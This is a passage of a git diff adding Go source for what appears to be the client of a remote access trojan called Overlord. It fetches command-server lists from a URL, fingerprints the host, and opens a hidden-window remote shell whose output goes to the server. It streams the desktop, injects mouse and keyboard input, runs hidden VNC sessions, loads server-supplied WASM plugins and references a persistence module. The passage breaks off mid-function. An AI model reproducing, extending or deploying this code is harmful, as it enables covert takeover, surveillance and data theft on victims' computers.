+ return v == "true" || v == "1" || v == "yes" || v == "y"
+}
+
+func LoadServerURLsFromRaw(rawURL string) ([]string, error) {
+ trimmed := strings.TrimSpace(rawURL)
+ if trimmed == "" {
+ return nil, fmt.Errorf("raw server list URL is empty")
+ }
+
+ parsed, err := url.Parse(trimmed)
+ if err != nil {
+ return nil, err
+ }
+
+ if parsed.Scheme == "" {
+ parsed.Scheme = "https"
+ }
+
+ scheme := strings.ToLower(parsed.Scheme)
+ if scheme != "https" && scheme != "http" {
+ return nil, fmt.Errorf("unsupported raw server list scheme: %s", parsed.Scheme)
+ }
+
+ client := &http.Client{Timeout: 10 * time.Second}
+ resp, err := client.Get(parsed.String())
+ if err != nil {
+ return nil, err
+ }
+ defer resp.Body.Close()
+
+ if resp.StatusCode < 200 || resp.StatusCode >= 300 {
+ return nil, fmt.Errorf("unexpected status code %d", resp.StatusCode)
+ }
+
+ body, err := io.ReadAll(resp.Body)
+ if err != nil {
+ return nil, err
+ }
+
+ urls := []string{}
+ seen := map[string]struct{}{}
+ scanner := bufio.NewScanner(bytes.NewReader(body))
+ for scanner.Scan() {
+ line := strings.TrimSpace(scanner.Text())
+ if line == "" || strings.HasPrefix(line, "#") {
+ continue
+ }
+ normalized, err := normalizeServerURL(line)
+ if err != nil {
+ log.Printf("[config] WARNING: invalid server URL in raw list %q: %v", line, err)
+ continue
+ }
+ if normalized == "" {
+ continue
+ }
+ if _, ok := seen[normalized]; ok {
+ continue
+ }
+ seen[normalized] = struct{}{}
+ urls = append(urls, normalized)
+ }
+
+ if err := scanner.Err(); err != nil {
+ return nil, err
+ }
+
+ if len(urls) == 0 {
+ return nil, fmt.Errorf("raw server list returned no valid URLs")
+ }
+
+ return urls, nil
+}
+
+func loadServerIndex() int {
+ bytes, err := os.ReadFile(serverIndexFile)
+ if err != nil {
+ return 0
+ }
+ var data serverIndexData
+ if err := json.Unmarshal(bytes, &data); err != nil {
+ return 0
+ }
+ return data.LastWorkingIndex
+}
+
+func SaveServerIndex(index int) error {
+ data := serverIndexData{LastWorkingIndex: index}
+ bytes, err := json.Marshal(data)
+ if err != nil {
+ return err
+ }
+ return os.WriteFile(serverIndexFile, bytes, 0644)
+}
+
+func readSettings() settings {
+ bytes, err := os.ReadFile(settingsFile)
+ if err != nil {
+ return settings{}
+ }
+ var s settings
+ if err := json.Unmarshal(bytes, &s); err != nil {
+ return settings{}
+ }
+ return s
+}
+
+func firstNonEmpty(values ...string) string {
+ for _, v := range values {
+ if strings.TrimSpace(v) != "" {
+ return v
+ }
+ }
+ return ""
+}
+
+func deriveHWID() string {
+ h := sha256.New()
+ h.Write([]byte(hostname()))
+ h.Write([]byte("|"))
+ h.Write([]byte(os.Getenv("USERNAME")))
+ h.Write([]byte("|"))
+ h.Write([]byte(runtime.GOOS))
+ h.Write([]byte("|"))
+ h.Write([]byte(runtime.GOARCH))
+ return hex.EncodeToString(h.Sum(nil))
+}
+
+func hostname() string {
+ h, err := os.Hostname()
+ if err != nil {
+ return "unknown"
+ }
+ return h
+}
+
+func normalizeServerURL(raw string) (string, error) {
+ trimmed := strings.TrimSpace(raw)
+ if trimmed == "" {
+ return "", nil
+ }
+
+ normalized := trimmed
+ if !strings.Contains(normalized, "://") {
+ normalized = "wss://" + normalized
+ }
+
+ parsed, err := url.Parse(normalized)
+ if err != nil {
+ return "", err
+ }
+
+ switch strings.ToLower(parsed.Scheme) {
+ case "ws", "wss":
+ case "http":
+ parsed.Scheme = "ws"
+ case "https":
+ parsed.Scheme = "wss"
+ default:
+ return "", fmt.Errorf("unsupported scheme: %s", parsed.Scheme)
+ }
+
+ if parsed.Host == "" {
+ return "", fmt.Errorf("missing host")
+ }
+
+ parsed.Path = strings.TrimRight(parsed.Path, "/")
+ return parsed.String(), nil
+}
diff --git a/Overlord-Client/cmd/agent/console/console.go b/Overlord-Client/cmd/agent/console/console.go
new file mode 100644
index 0000000..0c53b5f
--- /dev/null
+++ b/Overlord-Client/cmd/agent/console/console.go
@@ -0,0 +1,174 @@
+package console
+
+import (
+ "context"
+ "errors"
+ "io"
+ "os"
+ "os/exec"
+ "runtime"
+ "sync"
+
+ rt "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+)
+
+type session struct {
+ id string
+ cmd *exec.Cmd
+ stdin io.WriteCloser
+ cancel context.CancelFunc
+ env *rt.Env
+ closed chan struct{}
+ once sync.Once
+}
+
+var sessions sync.Map
+
+func shellCommand() []string {
+ if runtime.GOOS == "windows" {
+ return []string{"cmd.exe", "/d"}
+ }
+
+ return []string{"/bin/sh"}
+}
+
+func Start(ctx context.Context, env *rt.Env, sessionID string, _ int, _ int) error {
+ if sessionID == "" {
+ return errors.New("session id required")
+ }
+
+ Stop(sessionID)
+
+ parts := shellCommand()
+ cctx, cancel := context.WithCancel(ctx)
+ cmd := exec.CommandContext(cctx, parts[0], parts[1:]...)
+ if attr := platformSysProcAttr(); attr != nil {
+ cmd.SysProcAttr = attr
+ }
+ cmd.Env = append(os.Environ(), "CLINK_NOAUTORUN=1")
+
+ stdin, err := cmd.StdinPipe()
+ if err != nil {
+ cancel()
+ return err
+ }
+ stdout, err := cmd.StdoutPipe()
+ if err != nil {
+ cancel()
+ return err
+ }
+ stderr, err := cmd.StderrPipe()
+ if err != nil {
+ cancel()
+ return err
+ }
+
+ if err := cmd.Start(); err != nil {
+ cancel()
+ return err
+ }
+
+ sess := &session{id: sessionID, cmd: cmd, stdin: stdin, cancel: cancel, env: env, closed: make(chan struct{})}
+ sessions.Store(sessionID, sess)
+
+ go sess.forwardOutput(stdout)
+ go sess.forwardOutput(stderr)
+ go sess.waitExit()
+
+ return nil
+}
+
+func Stop(sessionID string) {
+ val, ok := sessions.LoadAndDelete(sessionID)
+ if !ok {
+ return
+ }
+ sess := val.(*session)
+ sess.cancel()
+ if sess.cmd.Process != nil {
+ _ = sess.cmd.Process.Kill()
+ }
+ sess.once.Do(func() { close(sess.closed) })
+}
+
+func Input(sessionID string, data string) error {
+ val, ok := sessions.Load(sessionID)
+ if !ok {
+ return errors.New("session not found")
+ }
+ sess := val.(*session)
+ if sess.stdin == nil {
+ return errors.New("stdin missing")
+ }
+ _, err := sess.stdin.Write([]byte(data))
+ return err
+}
+
+func Resize(_ string, _ int, _ int) {
+
+}
+
+func (s *session) forwardOutput(r io.Reader) {
+ buf := make([]byte, 4096)
+ for {
+ n, err := r.Read(buf)
+ if n > 0 {
+ clean := stripBackspaces(buf[:n])
+ if len(clean) > 0 {
+ _ = sendOutput(s.env, s.id, clean, nil, "")
+ }
+ }
+ if err != nil {
+ return
+ }
+ }
+}
+
+func (s *session) waitExit() {
+ err := s.cmd.Wait()
+ var codePtr *int
+ msg := ""
+ if err != nil {
+ if exitErr, ok := err.(*exec.ExitError); ok {
+ code := exitErr.ExitCode()
+ codePtr = &code
+ } else {
+ msg = err.Error()
+ }
+ } else {
+ code := 0
+ codePtr = &code
+ }
+ _ = sendOutput(s.env, s.id, nil, codePtr, msg)
+ sessions.Delete(s.id)
+ s.once.Do(func() { close(s.closed) })
+}
+
+func sendOutput(env *rt.Env, sessionID string, data []byte, exitCode *int, errMsg string) error {
+ payload := wire.ConsoleOutput{Type: "console_output", SessionID: sessionID}
+ if len(data) > 0 {
+ payload.Data = data
+ }
+ if errMsg != "" {
+ payload.Error = errMsg
+ }
+ if exitCode != nil {
+ payload.ExitCode = exitCode
+ }
+ return wire.WriteMsg(context.Background(), env.Conn, payload)
+}
+
+func stripBackspaces(src []byte) []byte {
+ out := make([]byte, 0, len(src))
+ for _, b := range src {
+ if b == '\b' {
+ if len(out) > 0 {
+ out = out[:len(out)-1]
+ }
+ continue
+ }
+ out = append(out, b)
+ }
+ return out
+}
diff --git a/Overlord-Client/cmd/agent/console/sysproc_other.go b/Overlord-Client/cmd/agent/console/sysproc_other.go
new file mode 100644
index 0000000..04f49ed
--- /dev/null
+++ b/Overlord-Client/cmd/agent/console/sysproc_other.go
@@ -0,0 +1,9 @@
+//go:build !windows
+
+package console
+
+import "syscall"
+
+func platformSysProcAttr() *syscall.SysProcAttr {
+ return nil
+}
diff --git a/Overlord-Client/cmd/agent/console/sysproc_windows.go b/Overlord-Client/cmd/agent/console/sysproc_windows.go
new file mode 100644
index 0000000..3abc35b
--- /dev/null
+++ b/Overlord-Client/cmd/agent/console/sysproc_windows.go
@@ -0,0 +1,9 @@
+//go:build windows
+
+package console
+
+import "syscall"
+
+func platformSysProcAttr() *syscall.SysProcAttr {
+ return &syscall.SysProcAttr{HideWindow: true}
+}
diff --git a/Overlord-Client/cmd/agent/crashlog.go b/Overlord-Client/cmd/agent/crashlog.go
new file mode 100644
index 0000000..8bc434e
--- /dev/null
+++ b/Overlord-Client/cmd/agent/crashlog.go
@@ -0,0 +1,83 @@
+package main
+
+import (
+ "context"
+ "fmt"
+ "log"
+ "os"
+ "path/filepath"
+ "runtime"
+ "runtime/debug"
+ "time"
+)
+
+const crashLogFileName = "crashlogC.log"
+
+func handleFatalPanic() {
+ if r := recover(); r != nil {
+ reason := fmt.Sprintf("panic: %v", r)
+ stack := debug.Stack()
+ path := writeCrashLog(reason, stack)
+ log.Printf("[fatal] %s (see %s)", reason, path)
+ os.Exit(1)
+ }
+}
+
+func fatalExit(reason string, err error) {
+ if err != nil {
+ reason = fmt.Sprintf("%s: %v", reason, err)
+ }
+ if reason == "" {
+ reason = "fatal error"
+ }
+ stack := debug.Stack()
+ path := writeCrashLog(reason, stack)
+ log.Printf("[fatal] %s (see %s)", reason, path)
+ os.Exit(1)
+}
+
+func goSafe(label string, cancel context.CancelFunc, fn func()) {
+ go func() {
+ defer recoverAndLog(label, cancel)
+ fn()
+ }()
+}
+
+func recoverAndLog(label string, cancel context.CancelFunc) {
+ if r := recover(); r != nil {
+ reason := fmt.Sprintf("%s panic: %v", label, r)
+ stack := debug.Stack()
+ path := writeCrashLog(reason, stack)
+ log.Printf("[panic] %s (see %s)", reason, path)
+ if cancel != nil {
+ cancel()
+ }
+ }
+}
+
+func writeCrashLog(reason string, stack []byte) string {
+ dir := crashLogDir()
+ _ = os.MkdirAll(dir, 0700)
+ path := filepath.Join(dir, crashLogFileName)
+
+ file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
+ if err != nil {
+ log.Printf("[fatal] failed to open crash log %s: %v", path, err)
+ return path
+ }
+ defer file.Close()
+
+ timestamp := time.Now().UTC().Format(time.RFC3339)
+ _, _ = fmt.Fprintf(file, "\n=== %s ===\n", timestamp)
+ _, _ = fmt.Fprintf(file, "GOOS=%s GOARCH=%s\n", runtime.GOOS, runtime.GOARCH)
+ _, _ = fmt.Fprintf(file, "Reason: %s\n", reason)
+ if len(stack) > 0 {
+ _, _ = fmt.Fprintf(file, "Stack:\n%s\n", string(stack))
+ }
+
+ return path
+}
+
+func crashLogDir() string {
+ return os.TempDir()
+}
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
new file mode 100644
index 0000000..805d978
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -0,0 +1,1406 @@
+package handlers
+
+import (
+ "context"
+ "errors"
+ "log"
+ "os"
+ goruntime "runtime"
+ "strconv"
+ "strings"
+ "sync"
+ "time"
+
+ "overlord-client/cmd/agent/capture"
+ "overlord-client/cmd/agent/console"
+ "overlord-client/cmd/agent/persistence"
+ "overlord-client/cmd/agent/plugins"
+ "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+)
+
+var ErrReconnect = errors.New("reconnect requested")
+
+var (
+ activeCommands = make(map[string]context.CancelFunc)
+ activeCommandsMu sync.Mutex
+)
+
+func cancelAllCommands() {
+ activeCommandsMu.Lock()
+ defer activeCommandsMu.Unlock()
+ for id, cancel := range activeCommands {
+ if cancel != nil {
+ cancel()
+ }
+ delete(activeCommands, id)
+ }
+}
+
+func resetForReconnect(env *runtime.Env) {
+ if env == nil {
+ return
+ }
+
+ cancelAllCommands()
+
+ env.DesktopMu.Lock()
+ if env.DesktopCancel != nil {
+ env.DesktopCancel()
+ }
+ waitStreamStop(env.DesktopDone, "desktop")
+ env.DesktopCancel = nil
+ env.DesktopDone = nil
+ env.MouseControl = false
+ env.KeyboardControl = false
+ env.CursorCapture = false
+ env.SelectedDisplay = GetPersistedDisplay()
+ env.DesktopMu.Unlock()
+
+ env.HVNCMu.Lock()
+ if env.HVNCCancel != nil {
+ env.HVNCCancel()
+ }
+ waitStreamStop(env.HVNCDone, "hvnc")
+ env.HVNCCancel = nil
+ env.HVNCDone = nil
+ env.HVNCMouseControl = false
+ env.HVNCKeyboardControl = false
+ env.HVNCCursorCapture = false
+ env.HVNCSelectedDisplay = 0
+ env.HVNCMu.Unlock()
+
+ if env.Console != nil {
+ env.Console.StopAll()
+ }
+
+ env.NotificationMu.Lock()
+ env.NotificationKeywords = nil
+ env.NotificationMinIntervalMs = 0
+ env.NotificationMu.Unlock()
+}
+
+func removePersistence() error {
+ return persistence.Remove()
+}
+
+func registerCancellableCommand(cmdID string, cancel context.CancelFunc) {
+ activeCommandsMu.Lock()
+ defer activeCommandsMu.Unlock()
+ activeCommands[cmdID] = cancel
+}
+
+func unregisterCommand(cmdID string) {
+ activeCommandsMu.Lock()
+ defer activeCommandsMu.Unlock()
+ delete(activeCommands, cmdID)
+}
+
+func waitStreamStop(done <-chan struct{}, name string) {
+ if done == nil {
+ return
+ }
+ select {
+ case <-done:
+ return
+ case <-time.After(2 * time.Second):
+ log.Printf("%s: stop timed out", name)
+ }
+}
+
+func payloadAsMap(payload interface{}) map[string]interface{} {
+ switch v := payload.(type) {
+ case map[string]interface{}:
+ return v
+ case map[interface{}]interface{}:
+ out := make(map[string]interface{}, len(v))
+ for key, val := range v {
+ switch ks := key.(type) {
+ case string:
+ out[ks] = val
+ case []byte:
+ out[string(ks)] = val
+ }
+ }
+ return out
+ default:
+ return nil
+ }
+}
+
+func payloadInt32(payload map[string]interface{}, key string) (int32, bool) {
+ if payload == nil {
+ return 0, false
+ }
+ if v, ok := payload[key]; ok {
+ switch val := v.(type) {
+ case float64:
+ return int32(val), true
+ case float32:
+ return int32(val), true
+ case int:
+ return int32(val), true
+ case int8:
+ return int32(val), true
+ case int16:
+ return int32(val), true
+ case int32:
+ return val, true
+ case int64:
+ return int32(val), true
+ case uint:
+ return int32(val), true
+ case uint8:
+ return int32(val), true
+ case uint16:
+ return int32(val), true
+ case uint32:
+ return int32(val), true
+ case uint64:
+ return int32(val), true
+ }
+ }
+ return 0, false
+}
+
+func payloadInt(payload map[string]interface{}, key string) (int, bool) {
+ if payload == nil {
+ return 0, false
+ }
+ if v, ok := payload[key]; ok {
+ switch val := v.(type) {
+ case float64:
+ return int(val), true
+ case float32:
+ return int(val), true
+ case int:
+ return val, true
+ case int8:
+ return int(val), true
+ case int16:
+ return int(val), true
+ case int32:
+ return int(val), true
+ case int64:
+ return int(val), true
+ case uint:
+ return int(val), true
+ case uint8:
+ return int(val), true
+ case uint16:
+ return int(val), true
+ case uint32:
+ return int(val), true
+ case uint64:
+ return int(val), true
+ }
+ }
+ return 0, false
+}
+
+func cancelCommand(cmdID string) bool {
+ activeCommandsMu.Lock()
+ defer activeCommandsMu.Unlock()
+ if cancel, exists := activeCommands[cmdID]; exists {
+ cancel()
+ delete(activeCommands, cmdID)
+ return true
+ }
+ return false
+}
+
+func sendCommandResultSafe(env *runtime.Env, cmdID string, ok bool, message string) {
+ res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: ok}
+ if message != "" {
+ res.Message = message
+ }
+ if err := wire.WriteMsg(context.Background(), env.Conn, res); err != nil {
+ log.Printf("command_result send failed: %v", err)
+ }
+}
+
+func payloadNumberToInt64(value interface{}) int64 {
+ switch v := value.(type) {
+ case int:
+ return int64(v)
+ case int8:
+ return int64(v)
+ case int16:
+ return int64(v)
+ case int32:
+ return int64(v)
+ case int64:
+ return v
+ case uint:
+ return int64(v)
+ case uint8:
+ return int64(v)
+ case uint16:
+ return int64(v)
+ case uint32:
+ return int64(v)
+ case uint64:
+ return int64(v)
+ case float32:
+ return int64(v)
+ case float64:
+ return int64(v)
+ default:
+ return 0
+ }
+}
+
+func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
+ cmdID, _ := envelope["id"].(string)
+ action, _ := envelope["commandType"].(string)
+
+ switch action {
+ case "screenshot":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ allDisplays := false
+ if payload != nil {
+ if v, ok := payload["allDisplays"].(bool); ok && v {
+ allDisplays = true
+ } else if mode, ok := payload["mode"].(string); ok && mode == "notification" {
+ allDisplays = true
+ }
+ }
+ if goruntime.GOOS == "windows" {
+ allDisplays = true
+ }
+ return HandleScreenshot(ctx, env, cmdID, allDisplays)
+ case "plugin_load":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ if payload == nil {
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing payload"})
+ }
+ manifestRaw, _ := payload["manifest"].(map[string]interface{})
+ wasmBytes, _ := payload["wasm"].([]byte)
+ if env.Plugins == nil {
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "plugin manager not ready"})
+ }
+ manifest, err := plugins.ManifestFromMap(manifestRaw)
+ if err != nil {
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
+ }
+ if err := env.Plugins.Load(ctx, manifest, wasmBytes); err != nil {
+ _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "error", Error: err.Error()})
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
+ }
+ _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "loaded"})
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
+ case "plugin_load_init":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ if payload == nil || env.Plugins == nil {
+ return nil
+ }
+ manifestRaw, _ := payload["manifest"].(map[string]interface{})
+ totalSize := toInt(payload["size"])
+ totalChunks := toInt(payload["chunks"])
+ manifest, err := plugins.ManifestFromMap(manifestRaw)
+ if err != nil {
+ return nil
+ }
+ _ = env.Plugins.StartBundle(manifest, totalSize, totalChunks)
+ return nil
+ case "plugin_load_chunk":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ if payload == nil || env.Plugins == nil {
+ return nil
+ }
+ pluginId, _ := payload["pluginId"].(string)
+ index := toInt(payload["index"])
+ data, _ := payload["data"].([]byte)
+ _ = env.Plugins.AddChunk(pluginId, index, data)
+ return nil
+ case "plugin_load_finish":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ if payload == nil || env.Plugins == nil {
+ return nil
+ }
+ pluginId, _ := payload["pluginId"].(string)
+ if pluginId == "" {
+ return nil
+ }
+ if err := env.Plugins.FinalizeBundle(ctx, pluginId); err != nil {
+ _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "error", Error: err.Error()})
+ return nil
+ }
+ _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "loaded"})
+ return nil
+ case "plugin_unload":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ if payload == nil || env.Plugins == nil {
+ return nil
+ }
+ pluginId, _ := payload["pluginId"].(string)
+ if pluginId == "" {
+ return nil
+ }
+ env.Plugins.Unload(pluginId)
+ _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"})
+ return nil
+ case "desktop_start":
+ env.DesktopMu.Lock()
+ if env.DesktopCancel != nil {
+ env.DesktopCancel()
+ waitStreamStop(env.DesktopDone, "desktop")
+ }
+ desktopCtx, cancel := context.WithCancel(ctx)
+ env.DesktopCancel = cancel
+ done := make(chan struct{})
+ env.DesktopDone = done
+ goSafe("desktop stream", env.Cancel, func() {
+ log.Printf("desktop: start requested")
+ _ = DesktopStart(desktopCtx, env)
+ close(done)
+ })
+ env.DesktopMu.Unlock()
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "desktop_stop":
+ env.DesktopMu.Lock()
+ log.Printf("desktop: stop requested")
+ if env.DesktopCancel != nil {
+ env.DesktopCancel()
+ }
+ waitStreamStop(env.DesktopDone, "desktop")
+ env.DesktopCancel = nil
+ env.DesktopDone = nil
+ env.DesktopMu.Unlock()
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "desktop_select_display":
+
+ payload, _ := envelope["payload"].(map[string]interface{})
+ disp := 0
+ if payload != nil {
+ displayVal := payload["display"]
+
+ if v, ok := displayVal.(int8); ok {
+ disp = int(v)
+ } else if v, ok := displayVal.(int16); ok {
+ disp = int(v)
+ } else if v, ok := displayVal.(int32); ok {
+ disp = int(v)
+ } else if v, ok := displayVal.(int64); ok {
+ disp = int(v)
+ } else if v, ok := displayVal.(int); ok {
+ disp = v
+ } else if v, ok := displayVal.(uint8); ok {
+ disp = int(v)
+ } else if v, ok := displayVal.(float64); ok {
+ disp = int(v)
+ }
+ }
+ log.Printf("desktop: select display %d", disp)
+ _ = DesktopSelect(ctx, env, disp)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "desktop_enable_mouse":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ enabled := true
+ if payload != nil {
+ if v, ok := payload["enabled"].(bool); ok {
+ enabled = v
+ }
+ }
+ log.Printf("desktop: mouse control %v", enabled)
+ _ = DesktopMouseControl(ctx, env, enabled)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "desktop_enable_keyboard":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ enabled := true
+ if payload != nil {
+ if v, ok := payload["enabled"].(bool); ok {
+ enabled = v
+ }
+ }
+ log.Printf("desktop: keyboard control %v", enabled)
+ _ = DesktopKeyboardControl(ctx, env, enabled)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "desktop_enable_cursor":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ enabled := false
+ if payload != nil {
+ if v, ok := payload["enabled"].(bool); ok {
+ enabled = v
+ }
+ }
+ log.Printf("desktop: cursor capture %v", enabled)
+ _ = DesktopCursorControl(ctx, env, enabled)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "desktop_set_duplication":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ enabled := false
+ if payload != nil {
+ if v, ok := payload["enabled"].(bool); ok {
+ enabled = v
+ }
+ }
+ log.Printf("desktop: duplication capture %v", enabled)
+ _ = DesktopDuplicationControl(ctx, env, enabled)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "desktop_set_quality":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ quality := 90
+ codec := ""
+ if payload != nil {
+ if q, ok := payloadInt(payload, "quality"); ok {
+ quality = q
+ }
+ if v, ok := payload["codec"].(string); ok {
+ codec = v
+ }
+ }
+ log.Printf("desktop: set quality=%d codec=%s", quality, codec)
+ capture.SetQualityAndCodec(quality, codec)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "desktop_mouse_move":
+ if !env.MouseControl {
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ }
+ payload := payloadAsMap(envelope["payload"])
+ x, _ := payloadInt32(payload, "x")
+ y, _ := payloadInt32(payload, "y")
+ absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
+ log.Printf("desktop: mouse move %d,%d -> %d,%d", x, y, absX, absY)
+ setCursorPos(absX, absY)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "desktop_mouse_down":
+ if !env.MouseControl {
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ }
+ payload := payloadAsMap(envelope["payload"])
+ btn, _ := payloadInt(payload, "button")
+ if x, okX := payloadInt32(payload, "x"); okX {
+ if y, okY := payloadInt32(payload, "y"); okY {
+ absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
+ setCursorPos(absX, absY)
+ }
+ }
+ log.Printf("desktop: mouse down %d", btn)
+ sendMouseDown(btn)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "desktop_mouse_up":
+ if !env.MouseControl {
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ }
+ payload := payloadAsMap(envelope["payload"])
+ btn, _ := payloadInt(payload, "button")
+ if x, okX := payloadInt32(payload, "x"); okX {
+ if y, okY := payloadInt32(payload, "y"); okY {
+ absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
+ setCursorPos(absX, absY)
+ }
+ }
+ log.Printf("desktop: mouse up %d", btn)
+ sendMouseUp(btn)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "desktop_key_down":
+ if !env.KeyboardControl {
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ }
+ payload, _ := envelope["payload"].(map[string]interface{})
+ code := ""
+ if payload != nil {
+ if v, ok := payload["code"].(string); ok {
+ code = v
+ }
+ }
+ if vk := keyCodeToVK(code); vk != 0 {
+ log.Printf("desktop: key down code=%s vk=%d", code, vk)
+ sendKeyDown(vk)
+ }
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "desktop_key_up":
+ if !env.KeyboardControl {
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ }
+ payload, _ := envelope["payload"].(map[string]interface{})
+ code := ""
+ if payload != nil {
+ if v, ok := payload["code"].(string); ok {
+ code = v
+ }
+ }
+ if vk := keyCodeToVK(code); vk != 0 {
+ log.Printf("desktop: key up code=%s vk=%d", code, vk)
+ sendKeyUp(vk)
+ }
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "desktop_text":
+ if !env.KeyboardControl {
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ }
+ payload, _ := envelope["payload"].(map[string]interface{})
+ text := ""
+ if payload != nil {
+ if v, ok := payload["text"].(string); ok {
+ text = v
+ }
+ }
+ if text != "" {
+ log.Printf("desktop: text input len=%d", len(text))
+ sendTextInput(text)
+ }
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+
+ // ==================== HVNC COMMANDS ====================
+ case "hvnc_start":
+ env.HVNCMu.Lock()
+ if env.HVNCCancel != nil {
+ env.HVNCCancel()
+ waitStreamStop(env.HVNCDone, "hvnc")
+ }
+ hvncCtx, cancel := context.WithCancel(ctx)
+ env.HVNCCancel = cancel
+ done := make(chan struct{})
+ env.HVNCDone = done
+ goSafe("hvnc stream", env.Cancel, func() {
+ log.Printf("hvnc: start requested")
+ _ = HVNCStart(hvncCtx, env)
+ close(done)
+ })
+ env.HVNCMu.Unlock()
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "hvnc_stop":
+ env.HVNCMu.Lock()
+ log.Printf("hvnc: stop requested")
+ if env.HVNCCancel != nil {
+ env.HVNCCancel()
+ }
+ waitStreamStop(env.HVNCDone, "hvnc")
+ env.HVNCCancel = nil
+ env.HVNCDone = nil
+ env.HVNCMu.Unlock()
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "hvnc_select_display":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ disp := 0
+ if payload != nil {
+ displayVal := payload["display"]
+ if v, ok := displayVal.(int8); ok {
+ disp = int(v)
+ } else if v, ok := displayVal.(int16); ok {
+ disp = int(v)
+ } else if v, ok := displayVal.(int32); ok {
+ disp = int(v)
+ } else if v, ok := displayVal.(int64); ok {
+ disp = int(v)
+ } else if v, ok := displayVal.(int); ok {
+ disp = v
+ } else if v, ok := displayVal.(uint8); ok {
+ disp = int(v)
+ } else if v, ok := displayVal.(float64); ok {
+ disp = int(v)
+ }
+ }
+ log.Printf("hvnc: select display %d", disp)
+ _ = HVNCSelect(ctx, env, disp)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "hvnc_enable_mouse":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ enabled := true
+ if payload != nil {
+ if v, ok := payload["enabled"].(bool); ok {
+ enabled = v
+ }
+ }
+ log.Printf("hvnc: mouse control %v", enabled)
+ _ = HVNCMouseControl(ctx, env, enabled)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "hvnc_enable_keyboard":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ enabled := true
+ if payload != nil {
+ if v, ok := payload["enabled"].(bool); ok {
+ enabled = v
+ }
+ }
+ log.Printf("hvnc: keyboard control %v", enabled)
+ _ = HVNCKeyboardControl(ctx, env, enabled)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "hvnc_enable_cursor":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ enabled := false
+ if payload != nil {
+ if v, ok := payload["enabled"].(bool); ok {
+ enabled = v
+ }
+ }
+ log.Printf("hvnc: cursor capture %v", enabled)
+ _ = HVNCCursorControl(ctx, env, enabled)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "hvnc_set_quality":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ quality := 90
+ codec := ""
+ if payload != nil {
+ if q, ok := payloadInt(payload, "quality"); ok {
+ quality = q
+ }
+ if v, ok := payload["codec"].(string); ok {
+ codec = v
+ }
+ }
+ log.Printf("hvnc: set quality=%d codec=%s", quality, codec)
+ capture.SetQualityAndCodec(quality, codec)
